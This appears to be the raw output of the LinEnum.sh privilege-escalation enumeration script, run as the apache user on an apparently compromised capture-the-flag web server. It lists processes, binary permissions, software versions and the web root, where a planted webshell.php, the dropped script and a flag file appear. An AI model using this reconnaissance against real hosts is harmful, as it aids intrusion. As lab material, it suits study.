root    882 0.0 0.0    0 0 ?    I< 00:07 0:00 [rpciod]
root    883 0.0 0.0    0 0 ?    I< 00:07 0:00 [kworker/u9:0]
root    884 0.0 0.0    0 0 ?    I< 00:07 0:00 [xprtiod]
root    898 0.0 0.5 124708 4512 ?    Ssl 00:07 0:00 /usr/sbin/irqbalance --foreground
dbus     899 0.0 0.5 73728 4948 ?    Ss 00:07 0:00 /usr/bin/dbus-daemon --system
--address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root    900 0.0 0.4 26364 3880 ?    Ss 00:07 0:00 /usr/sbin/smartd -n -q never
chrony   903 0.0 0.3 127512 2756 ?    S  00:07 0:00 /usr/sbin/chronyd
root    904 0.0 0.2 17408 2032 ?    Ss 00:07 0:00 /usr/sbin/mcelog --ignorenodev
--daemon --foreground
root    905 0.0 0.7 83076 6412 ?    Ss 00:07 0:00
/usr/lib/systemd/systemd-machined
libstor+ 907 0.0 0.2 18872 1880 ?    Ss 00:07 0:00 /usr/bin/lsmtd -d
root    909 0.0 1.3 211164 11648 ?    Ss 00:07 0:00 /usr/sbin/sssdd -i --logger=files
root    912 0.0 0.6 381404 5308 ?    Ssl 00:07 0:07 /sbin/rngd -f

```



```

polkitd  914 0.0 1.7 1763368 14592 ?    Ssl 00:07 0:00 /usr/lib/polkit-1/polkitd
--no-debug
root    920 0.0 0.2 25244 2132 ?      S   00:07 0:00 /bin/bash /usr/sbin/ksmtuned
root    922 0.0 0.3 101736 3012 ?      Ssl 00:07 0:00 /usr/sbin/gssproxy -D
root    939 0.0 1.5 217928 12680 ?      S   00:07 0:00 /usr/libexec/sss/sss_be
--domain implicit_files --uid 0 --gid 0 --logger=files
root    942 0.0 3.6 267208 30324 ?      Ssl 00:07 0:01 /usr/libexec/platform-python -s
/usr/sbin/firewalld --nofork --nopid
root    943 0.0 1.5 220672 12804 ?      S   00:07 0:00 /usr/libexec/sss/sss_nss --uid
0 --gid 0 --logger=files
root    948 0.0 0.8 95740 7152 ?      Ss  00:07 0:00 /usr/lib/systemd/systemd-logind
root    960 0.0 1.5 389540 13428 ?      Ssl 00:07 0:00 /usr/sbin/NetworkManager
--no-daemon
root    967 0.0 2.0 195584 16976 ?      Ss  00:07 0:00 php-fpm: master process
(/etc/php-fpm.conf)
root    968 0.0 0.7 92312 6124 ?      Ss  00:07 0:00 /usr/sbin/sshd -D
-oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes2
56-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc
-oMACs= hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm
@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128
@openssh.com,hmac-sha2-512
-oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1-
-oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,
ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellma
n-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellm
an-group-exchange-sha1,diffie-hellman-group14-sha1
-oHostKeyAlgorithms=rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,ecdsa-sha2-nistp
256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp38
4-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ecdsa-sha2-n
istp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@
openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com
-oPubkeyAcceptedKeyTypes=rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,ecdsa-sh
a2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-
nistp384-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ecdsa
-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cer
t-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com
-oCASignatureAlgorithms=rsa-sha2-256,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,rsa-sha2
-512,ecdsa-sha2-nistp521,ssh-ed25519,ssh-rsa
root    971 0.0 3.0 1825764 25844 ?    Ssl 00:07 0:00 /usr/sbin/libvirtd
root    973 0.0 1.0 280216 8764 ?      Ss  00:07 0:00 /usr/sbin/httpd
-DFOREGROUND
root    974 0.0 2.6 424308 22672 ?      Ssl 00:07 0:01 /usr/libexec/platform-python -Es
/usr/sbin/tuned -l -P
root    989 0.0 0.2 42620 2396 ?      Ss  00:07 0:00 /usr/sbin/atd -f
root    991 0.0 0.3 36088 3080 ?      Ss  00:07 0:00 /usr/sbin/crond -n
root    998 0.0 0.6 120944 5540 ?      S   00:07 0:00 /usr/sbin/CROND -n
root   1002 0.0 0.1 13100 1632 tty1    Ss+ 00:07 0:00 /sbin/agetty -o -p -- \u --noclear
tty1 linux

```

```

root    1015 0.0 0.9 93236 8152 ?    Ss 00:07 0:00 /usr/lib/systemd/systemd --user
root    1017 0.0 0.1 154524 1548 ?    S  00:07 0:00 (sd-pam)
apache  1049 1.7 1.8 210552 15336 ?    S  00:07 2:38 php-fpm: pool www
apache  1050 1.7 2.3 214628 19504 ?    S  00:07 2:38 php-fpm: pool www
apache  1051 1.7 2.0 212448 17384 ?    S  00:07 2:37 php-fpm: pool www
apache  1053 1.7 2.3 214652 19452 ?    S  00:07 2:38 php-fpm: pool www
apache  1054 1.7 2.0 212448 17384 ?    S  00:07 2:38 php-fpm: pool www
root    1055 0.0 2.2 110884 19264 ?    Ss 00:07 0:03 python2 /scripts/xss.py
apache  1057 0.0 0.7 292432 6304 ?    S  00:07 0:00 /usr/sbin/httpd
-DFOREGROUND
apache  1059 0.0 1.3 2529908 11584 ?    SI 00:07 0:07 /usr/sbin/httpd
-DFOREGROUND
apache  1060 0.0 1.4 2726580 12224 ?    SI 00:07 0:06 /usr/sbin/httpd
-DFOREGROUND
apache  1061 0.0 1.2 2529908 10120 ?    SI 00:07 0:08 /usr/sbin/httpd
-DFOREGROUND
mysql   1343 0.0 9.2 2058892 77824 ?    Ssl 00:07 0:06 /usr/libexec/mysqld
--basedir=/usr
systemd+ 1831 0.0 0.9 112296 8120 ?    Ss 00:07 0:00
/usr/lib/systemd/systemd-resolved
dnsmasq 1973 0.0 0.2 71364 2476 ?    S  00:07 0:00 /usr/sbin/dnsmasq
--conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro
--dhcp-script=/usr/libexec/libvirt_leaseshelper
root    1975 0.0 0.0 71228 408 ?    S  00:07 0:00 /usr/sbin/dnsmasq
--conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro
--dhcp-script=/usr/libexec/libvirt_leaseshelper
root    2004 0.0 0.4 214324 3832 ?    Ssl 00:07 0:00 /usr/sbin/rsyslogd -n
root    2292 4.2 9.7 2666332 81892 ?    SI 00:09 6:11 phantomjs
--cookies-file=/tmp/tmp683tw --webdriver=443
apache  2339 1.7 2.0 212584 17404 ?    S  00:11 2:35 php-fpm: pool www
apache  2340 0.0 1.8 2529908 15668 ?    SI 00:11 0:07 /usr/sbin/httpd
-DFOREGROUND
root    2466 0.0 0.0 0 0 ?    I  00:17 0:02 [kworker/2:3-events]
apache  2987 3.1 1.8 210400 15364 ?    S  01:14 2:31 php-fpm: pool www
root    3603 0.0 0.0 0 0 ?    I  02:17 0:00 [kworker/0:1-events]
root    3636 0.0 0.0 0 0 ?    I  02:20 0:00 [kworker/1:1-kdmflush]
root    3687 0.0 0.0 0 0 ?    I  02:26 0:00 [kworker/1:0-xfs-cil/dm-0]
root    3748 0.0 0.0 0 0 ?    I  02:31 0:00 [kworker/1:2-events]
root    3879 0.0 0.0 0 0 ?    I  02:33 0:00 [kworker/2:1-events]
root    3884 0.0 0.0 0 0 ?    I  02:33 0:00 [kworker/1:3-kdmflush]
root    4670 0.0 0.0 0 0 ?    I  02:33 0:00 [kworker/3:0-cgroup_pidlist_destroy]
root    4671 0.0 0.0 0 0 ?    I  02:33 0:00 [kworker/3:1-cgroup_destroy]
root    4672 0.0 0.0 0 0 ?    I  02:33 0:00 [kworker/3:2]
root    5573 0.0 0.0 0 0 ?    I  02:34 0:00 [kworker/2:2-events]
apache  5575 0.0 0.4 20852 3736 ?    S  02:35 0:00 /bin/bash ./LinEnum.sh -t -r
report
apache  5577 0.0 0.3 21140 3148 ?    S  02:35 0:00 /bin/bash ./LinEnum.sh -t -r
report

```

```

apache  5578 0.0 0.0 4356 816 ?    S   02:35  0:00 tee -a report-15-07-20
root    5587 0.0 0.0 7280 712 ?    S   02:35  0:00 sleep 60
root    5666 0.2 1.1 169672 9344 ?    Ssl 02:35  0:00 /usr/libexec/fprintd
apache  6174 0.0 0.3 21140 3020 ?    S   02:35  0:00 /bin/bash ./LinEnum.sh -t -r
report
apache  6175 0.0 0.4 54256 3548 ?    R   02:35  0:00 ps aux

```

[-] Process binaries and associated permissions (from above list):

```

-rwxr-xr-x. 1 root root 1219248 Nov  8 2019 /bin/bash
-rwxr-xr-x. 1 root root  75416 Nov  8 2019 /sbin/agetty
-rwxr-xr-x. 1 root root 196192 Jan  3 2020 /sbin/auditd
-rwxr-xr-x. 1 root root  68912 May 11 2019 /sbin/rngd
-rwxr-xr-x. 1 root root 259472 Nov  8 2019 /usr/bin/dbus-daemon
-rwxr-xr-x. 1 root root  29152 Nov  8 2019 /usr/bin/lsmc
-rwxr-xr-x. 1 root root  88896 Nov  8 2019 /usr/bin/rpcbind
-rwxr-xr-x. 1 root root 163736 Nov 11 2019 /usr/lib/polkit-1/polkitd
-rwxr-xr-x. 1 root root 2523648 Apr  9 22:52 /usr/lib/systemd/systemd
-rwxr-xr-x. 1 root root 237384 Apr  9 22:52 /usr/lib/systemd/systemd-journald
-rwxr-xr-x. 1 root root 484584 Apr  9 22:52 /usr/lib/systemd/systemd-logind
-rwxr-xr-x. 1 root root 212512 Apr  9 22:52 /usr/lib/systemd/systemd-machined
-rwxr-xr-x. 1 root root 869880 Apr  9 22:52 /usr/lib/systemd/systemd-resolved
-rwxr-xr-x. 1 root root 569392 Apr  9 22:52 /usr/lib/systemd/systemd-udev
-rwxr-xr-x. 1 root root  57352 May 21 2019 /usr/libexec/fprintd
-rwxr-xr-x. 1 root root 25356688 Jan  8 2020 /usr/libexec/mysqld
lrwxrwxrwx. 1 root root    20 Nov 21 2019 /usr/libexec/platform-python ->
./platform-python3.6
-rwxr-xr-x. 1 root root 315208 Apr 13 18:09 /usr/libexec/sss/sss_be
-rwxr-xr-x. 1 root root 411320 Apr 13 18:09 /usr/libexec/sss/sss_nss
-rwxr-xr-x. 1 root root 7353560 Jan  3 2020 /usr/sbin/NetworkManager
-rwxr-xr-x. 1 root root  34472 May 11 2019 /usr/sbin/atd
-rwxr-xr-x. 1 root root 405568 Nov 19 2019 /usr/sbin/chronyd
-rwxr-xr-x. 1 root root  80552 Nov  8 2019 /usr/sbin/crond
-rwxr-xr-x. 1 root root 491840 Dec 13 2019 /usr/sbin/dnsmasq
-rwxr-xr-x. 1 root root 202552 Nov  8 2019 /usr/sbin/gssproxy
-rwxr-xr-x. 1 root root 736112 Dec 23 2019 /usr/sbin/httpd
-rwxr-xr-x. 1 root root  86552 Dec 13 2019 /usr/sbin/irqbalance
-rwxr-xr-x. 1 root root 599640 Apr 10 12:09 /usr/sbin/libvirt
-rwxr-xr-x. 1 root root 241336 Nov  8 2019 /usr/sbin/mcelog
-rwxr-xr-x. 1 root root 909336 Nov  8 2019 /usr/sbin/rsyslogd
-rwxr-xr-x. 1 root root  25496 Nov  8 2019 /usr/sbin/sedispach
-rwxr-xr-x. 1 root root 717080 May 11 2019 /usr/sbin/smartd
-rwxr-xr-x. 1 root root 1228192 Feb  4 16:01 /usr/sbin/sshd
-rwxr-xr-x. 1 root root 107992 Apr 13 18:09 /usr/sbin/sss

```

[-] /etc/init.d/ binary permissions:

```
lrwxrwxrwx. 1 root root 11 May 11 2019 /etc/init.d -> rc.d/init.d
```

[-] /etc/rc.d/init.d binary permissions:

total 24

```
drwxr-xr-x. 2 root root  37 May 10 10:51 .
drwxr-xr-x. 10 root root 127 May 10 10:56 ..
-rw-r--r--. 1 root root 1161 Apr  9 22:51 README
-rw-r--r--. 1 root root 18440 Aug 23 2019 functions
```

[-] /lib/systemd/* config file permissions:

/lib/systemd/:

total 12M

```
drwxr-xr-x. 33 root root 16K May 10 11:51 system
drwxr-xr-x.  2 root root 4.0K May  9 14:53 system-generators
drwxr-xr-x.  4 root root 4.0K May  9 14:53 user
drwxr-xr-x.  2 root root  29 May  9 14:52 network
drwxr-xr-x.  2 root root  31 May  9 14:51 user-preset
drwxr-xr-x.  2 root root  48 May  9 14:51 user-environment-generators
drwxr-xr-x.  2 root root 143 May  9 14:51 system-preset
drwxr-xr-x.  2 root root 4.0K May  9 14:51 catalog
drwxr-xr-x.  2 root root  29 May  9 14:10 ntp-units.d
-rwxr-xr-x.  1 root root 5.0M Apr  9 22:52 libsystemd-shared-239.so
<SNIP>
```

/lib/systemd/portable/profile/trusted:

total 4.0K

```
-rw-r--r--. 1 root root 182 Jun 22 2018 service.conf
```

/lib/systemd/portable/profile/strict:

total 4.0K

```
-rw-r--r--. 1 root root 775 Jun 22 2018 service.conf
```

/lib/systemd/portable/profile/nonnetwork:

total 4.0K

```
-rw-r--r--. 1 root root 1.1K Jun 22 2018 service.conf
```

/lib/systemd/portable/profile/default:

total 4.0K

```
-rw-r--r--. 1 root root 1.1K Jun 22 2018 service.conf
```

SOFTWARE

[-] Sudo version:

Sudo version 1.8.25p1

[-] MYSQL version:

mysql Ver 15.1 Distrib 10.3.17-MariaDB, for Linux (x86_64) using readline 5.1

[-] www home dir contents:

/var/www/:

total 12K

drwxr-xr-x. 4 root root 50 May 10 11:22 .
drwxr-xr-x. 22 root root 4.0K May 9 15:05 ..
drwxr-xr-x. 2 root root 6 Dec 23 2019 cgi-bin
-rw-r--r--. 1 apache apache 21 May 10 11:22 flag1.txt
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 html

/var/www/cgi-bin:

total 0

drwxr-xr-x. 2 root root 6 Dec 23 2019 .
drwxr-xr-x. 4 root root 50 May 10 11:22 ..

/var/www/html:

total 476K

drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 .
drwxr-xr-x. 4 root root 50 May 10 11:22 ..
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 LICENSE
-rwxrw-r-x 1 apache apache 46K Jul 15 02:30 LinEnum.sh
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 README.md
drwxr-xr-x. 5 apache apache 119 May 10 10:25 _admin
-rw-r--r-- 1 apache apache 8.0K May 11 16:08 buynow.php
drwxr-xr-x. 3 apache apache 73 May 10 10:25 class
drwxr-xr-x. 2 apache apache 33 May 10 10:25 css
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 gulpfile.js
drwxr-xr-x. 2 apache apache 82 May 10 10:25 img
-rw-r--r-- 1 apache apache 5.7K May 11 15:59 index.html
-rw-r--r--. 1 apache apache 195K May 10 10:25 package-lock.json
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 package.json
-rw-r--r-- 1 apache apache 115K Jul 15 02:35 report-15-07-20
drwxr-xr-x. 2 apache apache 24 May 10 10:39 settings
drwxr-xr-x. 4 apache apache 37 May 10 10:25 vendor
-rw-rw-rw- 1 mysql mysql 27 Jul 15 01:54 webshell.php

/var/www/html/_admin:

total 20K

drwxr-xr-x. 5 apache apache 119 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 208 May 10 10:25 .browserslistrc
-rw-r--r--. 1 apache apache 13 May 10 10:25 .gitignore
-rw-r--r--. 1 apache apache 158 May 10 10:25 .travis.yml
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 LICENSE
drwxr-xr-x. 7 apache apache 148 May 10 10:25 dist
drwxr-xr-x. 2 apache apache 259 May 10 10:25 scripts

drwxr-xr-x. 6 apache apache 53 May 10 10:25 src

/var/www/html/_admin/dist:

total 20K

drwxr-xr-x. 7 apache apache 148 May 10 10:25 .
drwxr-xr-x. 5 apache apache 119 May 10 10:25 ..
drwxr-xr-x. 3 apache apache 218 May 10 10:25 assets
drwxr-xr-x. 2 apache apache 24 May 10 10:25 css
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 index.php
drwxr-xr-x. 2 apache apache 24 May 10 10:25 js
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 login.html
-rw-r--r--. 1 apache apache 70 May 10 10:25 logout.php
-rw-r--r--. 1 apache apache 848 May 10 10:25 manage.php
drwxr-xr-x. 2 apache apache 92 May 11 15:57 templates
drwxr-xr-x. 2 apache apache 4.0K Jul 15 00:57 templates_c

/var/www/html/_admin/dist/assets:

total 1.6M

drwxr-xr-x. 3 apache apache 218 May 10 10:25 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 154K May 10 10:25 Chart.min.js
-rw-r--r--. 1 apache apache 1.2M May 10 10:25 all.min.js
-rw-r--r--. 1 apache apache 77K May 10 10:25 bootstrap.bundle.min.js
-rw-r--r--. 1 apache apache 5.1K May 10 10:25 dataTables.bootstrap4.min.css
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 dataTables.bootstrap4.min.js
drwxr-xr-x. 2 apache apache 38 May 10 10:25 img
-rw-r--r--. 1 apache apache 87K May 10 10:25 jquery-3.4.1.min.js
-rw-r--r--. 1 apache apache 83K May 10 10:25 jquery.dataTables.min.js

/var/www/html/_admin/dist/assets/img:

total 8.0K

drwxr-xr-x. 2 apache apache 38 May 10 10:25 .
drwxr-xr-x. 3 apache apache 218 May 10 10:25 ..
-rw-r--r--. 1 apache apache 6.0K May 10 10:25 error-404-monochrome.svg

/var/www/html/_admin/dist/css:

total 184K

drwxr-xr-x. 2 apache apache 24 May 10 10:25 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 183K May 10 10:25 styles.css

/var/www/html/_admin/dist/js:

total 4.0K

drwxr-xr-x. 2 apache apache 24 May 10 10:25 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 805 May 10 10:25 scripts.js

/var/www/html/_admin/dist/templates:

total 20K

drwxr-xr-x. 2 apache apache 92 May 11 15:57 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 footer.tpl
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 header.tpl
-rw-r--r--. 1 apache apache 787 May 10 10:25 index.tpl
-rwxr-xr-x. 1 apache apache 837 May 10 10:25 manage.tpl
-rw-r--r--. 1 apache apache 1018 May 10 10:25 nav.tpl

/var/www/html/_admin/dist/templates_c:

total 24K

drwxr-xr-x. 2 apache apache 4.0K Jul 15 00:57 .
drwxr-xr-x. 7 apache apache 148 May 10 10:25 ..
-rw-r--r-- 1 apache apache 2.4K May 11 16:04
0662a60beba0fce807331e23438d31149b3e9834_0.file.footer.tpl.php
-rw-r--r-- 1 apache apache 1.7K May 11 16:04
15782bc189b3aa1b259fa49ed82cd1bf0d2b4b8d_0.file.nav.tpl.php
-rw-r--r-- 1 apache apache 2.2K May 11 16:04
5a984562a91df56feb1b7ec3f5dd0059ed8801cd_0.file.header.tpl.php
-rw-r--r-- 1 apache apache 2.2K May 11 16:04
86dfc70c4b74f908717aa705c9b65158600caee4_0.file.index.tpl.php
-rw-r--r-- 1 apache apache 2.0K Jul 15 00:57
ddebbe6f0e973be988b757b1e53eabdea73e181d_0.file.manage.tpl.php

/var/www/html/_admin/scripts:

total 48K

drwxr-xr-x. 2 apache apache 259 May 10 10:25 .
drwxr-xr-x. 5 apache apache 119 May 10 10:25 ..
-rw-r--r--. 1 apache apache 80 May 10 10:25 build-assets.js
-rw-r--r--. 1 apache apache 432 May 10 10:25 build-pug.js
-rw-r--r--. 1 apache apache 83 May 10 10:25 build-scripts.js
-rw-r--r--. 1 apache apache 75 May 10 10:25 build-scss.js
-rw-r--r--. 1 apache apache 162 May 10 10:25 clean.js
-rw-r--r--. 1 apache apache 344 May 10 10:25 render-assets.js
-rw-r--r--. 1 apache apache 884 May 10 10:25 render-pug.js
-rw-r--r--. 1 apache apache 960 May 10 10:25 render-scripts.js
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 render-scss.js
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 sb-watch.js
-rw-r--r--. 1 apache apache 509 May 10 10:25 start-debug.js
-rw-r--r--. 1 apache apache 542 May 10 10:25 start.js

/var/www/html/_admin/src:

total 0

drwxr-xr-x. 6 apache apache 53 May 10 10:25 .
drwxr-xr-x. 5 apache apache 119 May 10 10:25 ..
drwxr-xr-x. 4 apache apache 29 May 10 10:25 assets
drwxr-xr-x. 2 apache apache 24 May 10 10:25 js
drwxr-xr-x. 4 apache apache 34 May 10 10:25 pug

drwxr-xr-x. 5 apache apache 117 May 10 10:25 scss

/var/www/html/_admin/src/assets:

total 0

drwxr-xr-x. 4 apache apache 29 May 10 10:25 .

drwxr-xr-x. 6 apache apache 53 May 10 10:25 ..

drwxr-xr-x. 2 apache apache 108 May 10 10:25 demo

drwxr-xr-x. 2 apache apache 38 May 10 10:25 img

/var/www/html/_admin/src/assets/demo:

total 16K

drwxr-xr-x. 2 apache apache 108 May 10 10:25 .

drwxr-xr-x. 4 apache apache 29 May 10 10:25 ..

-rw-r--r--. 1 apache apache 1.5K May 10 10:25 chart-area-demo.js

-rw-r--r--. 1 apache apache 1.1K May 10 10:25 chart-bar-demo.js

-rw-r--r--. 1 apache apache 597 May 10 10:25 chart-pie-demo.js

-rw-r--r--. 1 apache apache 103 May 10 10:25 datatables-demo.js

/var/www/html/_admin/src/assets/img:

total 8.0K

drwxr-xr-x. 2 apache apache 38 May 10 10:25 .

drwxr-xr-x. 4 apache apache 29 May 10 10:25 ..

-rw-r--r--. 1 apache apache 6.0K May 10 10:25 error-404-monochrome.svg

/var/www/html/_admin/src/js:

total 4.0K

drwxr-xr-x. 2 apache apache 24 May 10 10:25 .

drwxr-xr-x. 6 apache apache 53 May 10 10:25 ..

-rw-r--r--. 1 apache apache 553 May 10 10:25 scripts.js

/var/www/html/_admin/src/pug:

total 0

drwxr-xr-x. 4 apache apache 34 May 10 10:25 .

drwxr-xr-x. 6 apache apache 53 May 10 10:25 ..

drwxr-xr-x. 3 apache apache 86 May 10 10:25 layouts

drwxr-xr-x. 3 apache apache 234 May 10 10:25 pages

/var/www/html/_admin/src/pug/layouts:

total 12K

drwxr-xr-x. 3 apache apache 86 May 10 10:25 .

drwxr-xr-x. 4 apache apache 34 May 10 10:25 ..

-rw-r--r--. 1 apache apache 576 May 10 10:25 authentication.pug

-rw-r--r--. 1 apache apache 659 May 10 10:25 dashboard.pug

-rw-r--r--. 1 apache apache 537 May 10 10:25 error.pug

drwxr-xr-x. 4 apache apache 73 May 10 10:25 includes

/var/www/html/_admin/src/pug/layouts/includes:

total 8.0K

drwxr-xr-x. 4 apache apache 73 May 10 10:25 .
drwxr-xr-x. 3 apache apache 86 May 10 10:25 ..
-rw-r--r--. 1 apache apache 367 May 10 10:25 footer.pug
drwxr-xr-x. 2 apache apache 71 May 10 10:25 head
drwxr-xr-x. 2 apache apache 43 May 10 10:25 navigation
-rw-r--r--. 1 apache apache 344 May 10 10:25 scripts.pug

/var/www/html/_admin/src/pug/layouts/includes/head:
total 16K

drwxr-xr-x. 2 apache apache 71 May 10 10:25 .
drwxr-xr-x. 4 apache apache 73 May 10 10:25 ..
-rw-r--r--. 1 apache apache 60 May 10 10:25 css.pug
-rw-r--r--. 1 apache apache 112 May 10 10:25 icons.pug
-rw-r--r--. 1 apache apache 263 May 10 10:25 meta.pug
-rw-r--r--. 1 apache apache 30 May 10 10:25 title.pug

/var/www/html/_admin/src/pug/layouts/includes/navigation:
total 8.0K

drwxr-xr-x. 2 apache apache 43 May 10 10:25 .
drwxr-xr-x. 4 apache apache 73 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 sidenav.pug
-rw-r--r--. 1 apache apache 1012 May 10 10:25 topnav.pug

/var/www/html/_admin/src/pug/pages:
total 44K

drwxr-xr-x. 3 apache apache 234 May 10 10:25 .
drwxr-xr-x. 4 apache apache 34 May 10 10:25 ..
-rw-r--r--. 1 apache apache 421 May 10 10:25 401.pug
-rw-r--r--. 1 apache apache 445 May 10 10:25 404.pug
-rw-r--r--. 1 apache apache 373 May 10 10:25 500.pug
-rw-r--r--. 1 apache apache 1.9K May 10 10:25 charts.pug
drwxr-xr-x. 2 apache apache 50 May 10 10:25 includes
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 index.pug
-rw-r--r--. 1 apache apache 599 May 10 10:25 layout-sidenav-light.pug
-rw-r--r--. 1 apache apache 769 May 10 10:25 layout-static.pug
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 login.pug
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 password.pug
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 register.pug
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 tables.pug

/var/www/html/_admin/src/pug/pages/includes:
total 16K

drwxr-xr-x. 2 apache apache 50 May 10 10:25 .
drwxr-xr-x. 3 apache apache 234 May 10 10:25 ..
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 datatable.pug
-rw-r--r--. 1 apache apache 245 May 10 10:25 page-header.pug

/var/www/html/_admin/src/scss:

total 12K
drwxr-xr-x. 5 apache apache 117 May 10 10:25 .
drwxr-xr-x. 6 apache apache 53 May 10 10:25 ..
-rw-r--r--. 1 apache apache 223 May 10 10:25 _global.scss
-rw-r--r--. 1 apache apache 269 May 10 10:25 _variables.scss
drwxr-xr-x. 2 apache apache 113 May 10 10:25 layout
drwxr-xr-x. 3 apache apache 58 May 10 10:25 navigation
-rw-r--r--. 1 apache apache 539 May 10 10:25 styles.scss
drwxr-xr-x. 2 apache apache 51 May 10 10:25 variables

/var/www/html/_admin/src/scss/layout:

total 16K
drwxr-xr-x. 2 apache apache 113 May 10 10:25 .
drwxr-xr-x. 5 apache apache 117 May 10 10:25 ..
-rw-r--r--. 1 apache apache 219 May 10 10:25 _authentication.scss
-rw-r--r--. 1 apache apache 2.0K May 10 10:25 _dashboard-default.scss
-rw-r--r--. 1 apache apache 500 May 10 10:25 _dashboard-fixed.scss
-rw-r--r--. 1 apache apache 230 May 10 10:25 _error.scss

/var/www/html/_admin/src/scss/navigation:

total 8.0K
drwxr-xr-x. 3 apache apache 58 May 10 10:25 .
drwxr-xr-x. 5 apache apache 117 May 10 10:25 ..
-rw-r--r--. 1 apache apache 136 May 10 10:25 _nav.scss
-rw-r--r--. 1 apache apache 474 May 10 10:25 _topnav.scss
drwxr-xr-x. 2 apache apache 80 May 10 10:25 sidenav

/var/www/html/_admin/src/scss/navigation/sidenav:

total 12K
drwxr-xr-x. 2 apache apache 80 May 10 10:25 .
drwxr-xr-x. 3 apache apache 58 May 10 10:25 ..
-rw-r--r--. 1 apache apache 796 May 10 10:25 _sidenav-dark.scss
-rw-r--r--. 1 apache apache 809 May 10 10:25 _sidenav-light.scss
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 _sidenav.scss

/var/www/html/_admin/src/scss/variables:

total 8.0K
drwxr-xr-x. 2 apache apache 51 May 10 10:25 .
drwxr-xr-x. 5 apache apache 117 May 10 10:25 ..
-rw-r--r--. 1 apache apache 893 May 10 10:25 _navigation.scss
-rw-r--r--. 1 apache apache 180 May 10 10:25 _spacing.scss

/var/www/html/class:

total 16K
drwxr-xr-x. 3 apache apache 73 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 database.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 order.php

```
drwxr-xr-x. 4 apache apache 149 May 10 10:25 smarty
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 user.php
```

/var/www/html/class/smarty:

total 92K

```
drwxr-xr-x. 4 apache apache 149 May 10 10:25 .
drwxr-xr-x. 3 apache apache 73 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 Autoloader.php
-rw-r--r--. 1 apache apache 38K May 10 10:25 Smarty.class.php
-rw-r--r--. 1 apache apache 13K May 10 10:25 SmartyBC.class.php
-rw-r--r--. 1 apache apache 417 May 10 10:25 bootstrap.php
-rw-r--r--. 1 apache apache 5.0K May 10 10:25 debug.tpl
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 plugins
drwxr-xr-x. 2 apache apache 12K May 10 10:25 sysplugins
```

/var/www/html/class/smarty/plugins:

total 272K

```
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 .
drwxr-xr-x. 4 apache apache 149 May 10 10:25 ..
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 block.textformat.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 function.counter.php
-rw-r--r--. 1 apache apache 3.3K May 10 10:25 function.cycle.php
-rw-r--r--. 1 apache apache 7.9K May 10 10:25 function.fetch.php
-rw-r--r--. 1 apache apache 9.4K May 10 10:25 function.html_checkboxes.php
-rw-r--r--. 1 apache apache 5.6K May 10 10:25 function.html_image.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 function.html_options.php
